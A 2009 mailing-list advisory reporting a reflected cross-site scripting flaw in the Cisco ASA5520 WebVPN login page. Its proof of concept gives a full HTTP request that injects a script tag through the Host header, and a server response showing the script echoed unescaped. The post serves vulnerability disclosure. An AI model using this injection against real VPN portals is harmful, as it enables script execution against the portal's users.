Cisco ASA5520 Web VPN Host Header XSS
Date: Tue, 31 Mar 2009 04:17:54 -0600
Subject: Cisco ASA5520 Web VPN Host Header XSS
From: Bugs NotHugs <bugsnothugs@gmail.com.>
To: bugtraq <bugtraq@securityfocus.com.>,
fd <full-disclosure@lists.grok.org.uk.>
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- Cisco ASA5520 Web VPN Host Header XSS
- Description
Cross-site scripting.
- Product
Cisco, ASA5520, IOS 7.2(2)22
- PoC
Modified request:
POST /+webvpn+/index.html HTTP/1.1
Host: "'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.owasp.org
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
Referer: https://198.133.219.23/+webvpn+/index.html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/1.3 (compatible; MSIE 3.0; Windows 3.11; .NET CLR 1.1.1032)
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: webvpnlogin=1
Content-Length: 66
username=psirt&password=easy&Login=Login&next=&tgroup=&tgcookieset=
Response:
HTTP/1.1 200 OK
Server: Virata-EmWeb/R6_2_0
Content-Type: text/html
Cache-Control: max-age=0
Set-Cookie: webvpn=; expires=Thu, 01 Jan 1970 22:00:00 GMT; path=/
Set-Cookie: webvpnlogin=1
Content-Length: 5556
<html>
<!--
Copyright (c) 2004, 2005 by Cisco Systems, Inc.
All rights reserved.
-->
<head>
<META http-equiv="PICS-Label" content='(PICS-1.1
"http://www.rsac.org/ratingsv01.html" l gen true comment "RSACi North
America Server" for
"http://"'><script>alert('BugsNotHugs')</script><meta httpequiv=""
content='"www.owasp.org/+webvpn+/index.html" on
"2000.11.02T23:36-0800" r (n 0 s 0 v 0 l 0))'>
<meta http-equiv="Window-target" content="_top">
<title>WebVPN Service</title>
- Solution
None
- Timeline
2007-09-17: Vulnerability Discovered
2008-02-15: Disclosed to Vendor (auto-reply)
2009-04-02: Disclosed to Public (XSS is so 1999)
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